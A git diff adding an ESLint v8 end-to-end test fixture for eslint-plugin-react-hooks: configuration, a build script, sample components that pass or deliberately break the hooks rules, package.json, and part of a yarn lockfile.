new file mode 100644
index 000000000000..672da7a085a6
--- /dev/null
+++ b/fixtures/eslint-v8/.eslintrc.json
@@ -0,0 +1,11 @@
+{
+  "root": true,
+  "extends": ["plugin:react-hooks/recommended"],
+  "parserOptions": {
+    "ecmaVersion": 2020,
+    "sourceType": "module",
+    "ecmaFeatures": {
+      "jsx": true
+    }
+  }
+}
diff --git a/fixtures/eslint-v8/README.md b/fixtures/eslint-v8/README.md
new file mode 100644
index 000000000000..da220cef5cbd
--- /dev/null
+++ b/fixtures/eslint-v8/README.md
@@ -0,0 +1,12 @@
+# ESLint v8 Fixture
+
+This fixture allows us to test e2e functionality for `eslint-plugin-react-hooks` with eslint version 8.
+
+Run the following to test.
+
+```sh
+cd fixtures/eslint-v8
+yarn
+yarn build
+yarn lint
+```
diff --git a/fixtures/eslint-v8/build.mjs b/fixtures/eslint-v8/build.mjs
new file mode 100644
index 000000000000..e0dd355ba439
--- /dev/null
+++ b/fixtures/eslint-v8/build.mjs
@@ -0,0 +1,13 @@
+#!/usr/bin/env node
+
+import {execSync} from 'node:child_process';
+import {dirname, resolve} from 'node:path';
+import {fileURLToPath} from 'node:url';
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = dirname(__filename);
+
+execSync('yarn build -r stable eslint-plugin-react-hooks', {
+  cwd: resolve(__dirname, '..', '..'),
+  stdio: 'inherit',
+});
diff --git a/fixtures/eslint-v8/index.js b/fixtures/eslint-v8/index.js
new file mode 100644
index 000000000000..143228e12cb7
--- /dev/null
+++ b/fixtures/eslint-v8/index.js
@@ -0,0 +1,167 @@
+/**
+ * Exhaustive Deps
+ */
+// Valid because dependencies are declared correctly
+function Comment({comment, commentSource}) {
+  const currentUserID = comment.viewer.id;
+  const environment = RelayEnvironment.forUser(currentUserID);
+  const commentID = nullthrows(comment.id);
+  useEffect(() => {
+    const subscription = SubscriptionCounter.subscribeOnce(
+      `StoreSubscription_${commentID}`,
+      () =>
+        StoreSubscription.subscribe(
+          environment,
+          {
+            comment_id: commentID,
+          },
+          currentUserID,
+          commentSource
+        )
+    );
+    return () => subscription.dispose();
+  }, [commentID, commentSource, currentUserID, environment]);
+}
+
+// Valid because no dependencies
+function UseEffectWithNoDependencies() {
+  const local = {};
+  useEffect(() => {
+    console.log(local);
+  });
+}
+function UseEffectWithEmptyDependencies() {
+  useEffect(() => {
+    const local = {};
+    console.log(local);
+  }, []);
+}
+
+// OK because `props` wasn't defined.
+function ComponentWithNoPropsDefined() {
+  useEffect(() => {
+    console.log(props.foo);
+  }, []);
+}
+
+// Valid because props are declared as a dependency
+function ComponentWithPropsDeclaredAsDep({foo}) {
+  useEffect(() => {
+    console.log(foo.length);
+    console.log(foo.slice(0));
+  }, [foo]);
+}
+
+// Valid because individual props are declared as dependencies
+function ComponentWithIndividualPropsDeclaredAsDeps(props) {
+  useEffect(() => {
+    console.log(props.foo);
+    console.log(props.bar);
+  }, [props.bar, props.foo]);
+}
+
+// Invalid because neither props or props.foo are declared as dependencies
+function ComponentWithoutDeclaringPropAsDep(props) {
+  useEffect(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  useCallback(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  useMemo(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useEffect(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useCallback(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.useMemo(() => {
+    console.log(props.foo);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+  React.notReactiveHook(() => {
+    console.log(props.foo);
+  }, []); // This one isn't a violation
+}
+
+/**
+ * Rules of Hooks
+ */
+// Valid because functions can call functions.
+function normalFunctionWithConditionalFunction() {
+  if (cond) {
+    doSomething();
+  }
+}
+
+// Valid because hooks can call hooks.
+function useHook() {
+  useState();
+}
+const whatever = function useHook() {
+  useState();
+};
+const useHook1 = () => {
+  useState();
+};
+let useHook2 = () => useState();
+useHook2 = () => {
+  useState();
+};
+
+// Invalid because hooks can't be called in conditionals.
+function ComponentWithConditionalHook() {
+  if (cond) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useConditionalHook();
+  }
+}
+
+// Invalid because hooks can't be called in loops.
+function useHookInLoops() {
+  while (a) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook1();
+    if (b) return;
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook2();
+  }
+  while (c) {
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook3();
+    if (d) return;
+    // eslint-disable-next-line react-hooks/rules-of-hooks
+    useHook4();
+  }
+}
+
+/**
+ * Compiler Rules
+ */
+// Invalid: component factory
+function InvalidComponentFactory() {
+  const DynamicComponent = () => <div>Hello</div>;
+  // eslint-disable-next-line react-hooks/static-components
+  return <DynamicComponent />;
+}
+
+// Invalid: mutating globals
+function InvalidGlobals() {
+  // eslint-disable-next-line react-hooks/immutability
+  window.myGlobal = 42;
+  return <div>Done</div>;
+}
+
+// Invalid: useMemo with wrong deps
+function InvalidUseMemo({items}) {
+  // eslint-disable-next-line react-hooks/exhaustive-deps
+  const sorted = useMemo(() => [...items].sort(), []);
+  return <div>{sorted.length}</div>;
+}
diff --git a/fixtures/eslint-v8/package.json b/fixtures/eslint-v8/package.json
new file mode 100644
index 000000000000..ed3de107c524
--- /dev/null
+++ b/fixtures/eslint-v8/package.json
@@ -0,0 +1,12 @@
+{
+  "private": true,
+  "name": "eslint-v8",
+  "dependencies": {
+    "eslint": "^8",
+    "eslint-plugin-react-hooks": "link:../../build/oss-stable/eslint-plugin-react-hooks"
+  },
+  "scripts": {
+    "build": "node build.mjs && yarn",
+    "lint": "eslint index.js --report-unused-disable-directives"
+  }
+}
diff --git a/fixtures/eslint-v8/yarn.lock b/fixtures/eslint-v8/yarn.lock
new file mode 100644
index 000000000000..d5a947b6347d
--- /dev/null
+++ b/fixtures/eslint-v8/yarn.lock
@@ -0,0 +1,676 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@eslint-community/eslint-utils@^4.2.0":
+  version "4.4.1"
+  resolved "https://registry.yarnpkg.com/@eslint-community/eslint-utils/-/eslint-utils-4.4.1.tgz#d1145bf2c20132d6400495d6df4bf59362fd9d56"
+  integrity sha512-s3O3waFUrMV8P/XaF/+ZTp1X9XBZW1a4B97ZnjQF2KYWaFD2A8KyFBsrsfSjEmjn3RGWAIuvlneuZm3CUK3jbA==
+  dependencies:
+    eslint-visitor-keys "^3.4.3"
+
+"@eslint-community/regexpp@^4.6.1":
+  version "4.12.1"
+  resolved "https://registry.yarnpkg.com/@eslint-community/regexpp/-/regexpp-4.12.1.tgz#cfc6cffe39df390a3841cde2abccf92eaa7ae0e0"
+  integrity sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==
+
+"@eslint/eslintrc@^2.1.4":
+  version "2.1.4"
+  resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-2.1.4.tgz#388a269f0f25c1b6adc317b5a2c55714894c70ad"
+  integrity sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==
+  dependencies:
+    ajv "^6.12.4"
+    debug "^4.3.2"
+    espree "^9.6.0"
+    globals "^13.19.0"
+    ignore "^5.2.0"
+    import-fresh "^3.2.1"
+    js-yaml "^4.1.0"
+    minimatch "^3.1.2"
+    strip-json-comments "^3.1.1"
+
+"@eslint/js@8.57.1":
+  version "8.57.1"
+  resolved "https://registry.yarnpkg.com/@eslint/js/-/js-8.57.1.tgz#de633db3ec2ef6a3c89e2f19038063e8a122e2c2"
+  integrity sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==
+
+"@humanwhocodes/config-array@^0.13.0":
+  version "0.13.0"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/config-array/-/config-array-0.13.0.tgz#fb907624df3256d04b9aa2df50d7aa97ec648748"
+  integrity sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==
+  dependencies:
+    "@humanwhocodes/object-schema" "^2.0.3"
+    debug "^4.3.1"
+    minimatch "^3.0.5"
+
+"@humanwhocodes/module-importer@^1.0.1":
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz#af5b2691a22b44be847b0ca81641c5fb6ad0172c"
+  integrity sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==
+
+"@humanwhocodes/object-schema@^2.0.3":
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/object-schema/-/object-schema-2.0.3.tgz#4a2868d75d6d6963e423bcf90b7fd1be343409d3"
+  integrity sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==
+
+"@nodelib/fs.scandir@2.1.5":
+  version "2.1.5"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz#7619c2eb21b25483f6d167548b4cfd5a7488c3d5"
+  integrity sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==
+  dependencies:
+    "@nodelib/fs.stat" "2.0.5"
+    run-parallel "^1.1.9"
+
+"@nodelib/fs.stat@2.0.5":
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz#5bd262af94e9d25bd1e71b05deed44876a222e8b"
+  integrity sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==
+
+"@nodelib/fs.walk@^1.2.8":
+  version "1.2.8"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz#e95737e8bb6746ddedf69c556953494f196fe69a"
+  integrity sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==
+  dependencies:
+    "@nodelib/fs.scandir" "2.1.5"
+    fastq "^1.6.0"
+
+"@ungap/structured-clone@^1.2.0":
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/@ungap/structured-clone/-/structured-clone-1.3.0.tgz#d06bbb384ebcf6c505fde1c3d0ed4ddffe0aaff8"
+  integrity sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==
+
+acorn-jsx@^5.3.2:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz#7ed5bb55908b3b2f1bc55c6af1653bada7f07937"
+  integrity sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==
+
+acorn@^8.9.0:
+  version "8.14.0"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.14.0.tgz#063e2c70cac5fb4f6467f0b11152e04c682795b0"
+  integrity sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==
+
+ajv@^6.12.4:
+  version "6.12.6"
+  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
+  integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
+  dependencies:
+    fast-deep-equal "^3.1.1"
+    fast-json-stable-stringify "^2.0.0"
+    json-schema-traverse "^0.4.1"
+    uri-js "^4.2.2"
+
+ansi-regex@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304"
+  integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
+
+ansi-styles@^4.1.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
+  integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
+  dependencies:
+    color-convert "^2.0.1"
+
+argparse@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/argparse/-/argparse-2.0.1.tgz#246f50f3ca78a3240f6c997e8a9bd1eac49e4b38"
+  integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==
+
+balanced-match@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.0.tgz#89b4d199ab2bee49de164ea02b89ce462d71b767"
+  integrity sha1-ibTRmasr7kneFk6gK4nORi1xt2c=
+
+brace-expansion@^1.1.7:
+  version "1.1.11"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
+  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
+  dependencies:
+    balanced-match "^1.0.0"
+    concat-map "0.0.1"
+
+callsites@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
+  integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==
+
+chalk@^4.0.0:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01"
+  integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
+  dependencies:
+    ansi-styles "^4.1.0"
+    supports-color "^7.1.0"
+
+color-convert@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
+  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+  dependencies:
+    color-name "~1.1.4"
+
+color-name@~1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
+  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+
+concat-map@0.0.1:
+  version "0.0.1"
+  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
+  integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
+
+cross-spawn@^7.0.2:
+  version "7.0.6"
+  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.6.tgz#8a58fe78f00dcd70c370451759dfbfaf03e8ee9f"
+  integrity sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==
+  dependencies:
+    path-key "^3.1.0"
+    shebang-command "^2.0.0"
+    which "^2.0.1"
+
+debug@^4.3.1, debug@^4.3.2:
+  version "4.4.0"
+  resolved "https://registry.yarnpkg.com/debug/-/debug-4.4.0.tgz#2b3f2aea2ffeb776477460267377dc8710faba8a"
+  integrity sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==
+  dependencies:
+    ms "^2.1.3"
+
+deep-is@^0.1.3:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.4.tgz#a6f2dce612fadd2ef1f519b73551f17e85199831"
+  integrity sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==
+
+doctrine@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-3.0.0.tgz#addebead72a6574db783639dc87a121773973961"
+  integrity sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==
+  dependencies:
+    esutils "^2.0.2"
+
+escape-string-regexp@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
+  integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
+
+"eslint-plugin-react-hooks@link:../../build/oss-stable/eslint-plugin-react-hooks":
+  version "0.0.0"
+  uid ""
+
+eslint-scope@^7.2.2:
+  version "7.2.2"
+  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-7.2.2.tgz#deb4f92563390f32006894af62a22dba1c46423f"
+  integrity sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==
+  dependencies:
+    esrecurse "^4.3.0"
+    estraverse "^5.2.0"
+
+eslint-visitor-keys@^3.4.1, eslint-visitor-keys@^3.4.3:
+  version "3.4.3"
+  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz#0cd72fe8550e3c2eae156a96a4dddcd1c8ac5800"
+  integrity sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==
+
+eslint@^8:
+  version "8.57.1"
+  resolved "https://registry.yarnpkg.com/eslint/-/eslint-8.57.1.tgz#7df109654aba7e3bbe5c8eae533c5e461d3c6ca9"
+  integrity sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==
+  dependencies:
+    "@eslint-community/eslint-utils" "^4.2.0"
+    "@eslint-community/regexpp" "^4.6.1"
+    "@eslint/eslintrc" "^2.1.4"
+    "@eslint/js" "8.57.1"
+    "@humanwhocodes/config-array" "^0.13.0"
+    "@humanwhocodes/module-importer" "^1.0.1"
+    "@nodelib/fs.walk" "^1.2.8"
+    "@ungap/structured-clone" "^1.2.0"
+    ajv "^6.12.4"
+    chalk "^4.0.0"
+    cross-spawn "^7.0.2"
+    debug "^4.3.2"
+    doctrine "^3.0.0"
+    escape-string-regexp "^4.0.0"
+    eslint-scope "^7.2.2"
+    eslint-visitor-keys "^3.4.3"
+    espree "^9.6.1"
+    esquery "^1.4.2"
+    esutils "^2.0.2"
+    fast-deep-equal "^3.1.3"
+    file-entry-cache "^6.0.1"
+    find-up "^5.0.0"
+    glob-parent "^6.0.2"
+    globals "^13.19.0"
+    graphemer "^1.4.0"
+    ignore "^5.2.0"
+    imurmurhash "^0.1.4"
+    is-glob "^4.0.0"
+    is-path-inside "^3.0.3"
+    js-yaml "^4.1.0"
+    json-stable-stringify-without-jsonify "^1.0.1"
+    levn "^0.4.1"
+    lodash.merge "^4.6.2"
+    minimatch "^3.1.2"
+    natural-compare "^1.4.0"
+    optionator "^0.9.3"
+    strip-ansi "^6.0.1"
+    text-table "^0.2.0"
+
+espree@^9.6.0, espree@^9.6.1:
+  version "9.6.1"
+  resolved "https://registry.yarnpkg.com/espree/-/espree-9.6.1.tgz#a2a17b8e434690a5432f2f8018ce71d331a48c6f"
+  integrity sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==
+  dependencies:
+    acorn "^8.9.0"
+    acorn-jsx "^5.3.2"
+    eslint-visitor-keys "^3.4.1"
+
+esquery@^1.4.2:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.6.0.tgz#91419234f804d852a82dceec3e16cdc22cf9dae7"
+  integrity sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==
+  dependencies:
+    estraverse "^5.1.0"
+
+esrecurse@^4.3.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921"
+  integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==
+  dependencies:
+    estraverse "^5.2.0"
+
+estraverse@^5.1.0, estraverse@^5.2.0:
+  version "5.3.0"
+  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.3.0.tgz#2eea5290702f26ab8fe5370370ff86c965d21123"
+  integrity sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==
+
+esutils@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.2.tgz#0abf4f1caa5bcb1f7a9d8acc6dea4faaa04bac9b"
+  integrity sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=
+
+fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
+  integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
+
+fast-json-stable-stringify@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz#d5142c0caee6b1189f87d3a76111064f86c8bbf2"
+  integrity sha1-1RQsDK7msRifh9OnYREGT4bIu/I=
+
+fast-levenshtein@^2.0.6:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
+  integrity sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==
+
+fastq@^1.6.0:
+  version "1.19.0"
+  resolved "https://registry.yarnpkg.com/fastq/-/fastq-1.19.0.tgz#a82c6b7c2bb4e44766d865f07997785fecfdcb89"
+  integrity sha512-7SFSRCNjBQIZH/xZR3iy5iQYR8aGBE0h3VG6/cwlbrpdciNYBMotQav8c1XI3HjHH+NikUpP53nPdlZSdWmFzA==
+  dependencies:
+    reusify "^1.0.4"
+
+file-entry-cache@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-6.0.1.tgz#211b2dd9659cb0394b073e7323ac3c933d522027"
+  integrity sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==
+  dependencies:
+    flat-cache "^3.0.4"
+
+find-up@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/find-up/-/find-up-5.0.0.tgz#4c92819ecb7083561e4f4a240a86be5198f536fc"
+  integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==
+  dependencies:
+    locate-path "^6.0.0"
+    path-exists "^4.0.0"
+
+flat-cache@^3.0.4:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-3.2.0.tgz#2c0c2d5040c99b1632771a9d105725c0115363ee"
+  integrity sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==
+  dependencies:
+    flatted "^3.2.9"
+    keyv "^4.5.3"
+    rimraf "^3.0.2"
+
+flatted@^3.2.9:
+  version "3.3.2"
+  resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.3.2.tgz#adba1448a9841bec72b42c532ea23dbbedef1a27"
+  integrity sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA==
+
+fs.realpath@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
+  integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8=
+
+glob-parent@^6.0.2:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-6.0.2.tgz#6d237d99083950c79290f24c7642a3de9a28f9e3"
+  integrity sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==
+  dependencies:
+    is-glob "^4.0.3"
+
+glob@^7.1.3:
+  version "7.1.3"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.3.tgz#3960832d3f1574108342dafd3a67b332c0969df1"
+  integrity sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==
+  dependencies:
+    fs.realpath "^1.0.0"
+    inflight "^1.0.4"
+    inherits "2"
+    minimatch "^3.0.4"
+    once "^1.3.0"
+    path-is-absolute "^1.0.0"
+
+globals@^13.19.0:
+  version "13.24.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-13.24.0.tgz#8432a19d78ce0c1e833949c36adb345400bb1171"
+  integrity sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==
+  dependencies:
+    type-fest "^0.20.2"
+
+graphemer@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/graphemer/-/graphemer-1.4.0.tgz#fb2f1d55e0e3a1849aeffc90c4fa0dd53a0e66c6"
+  integrity sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==
+
+has-flag@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
+  integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+
+ignore@^5.2.0:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.3.2.tgz#3cd40e729f3643fd87cb04e50bf0eb722bc596f5"
+  integrity sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==
+
+import-fresh@^3.2.1:
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.1.tgz#9cecb56503c0ada1f2741dbbd6546e4b13b57ccf"
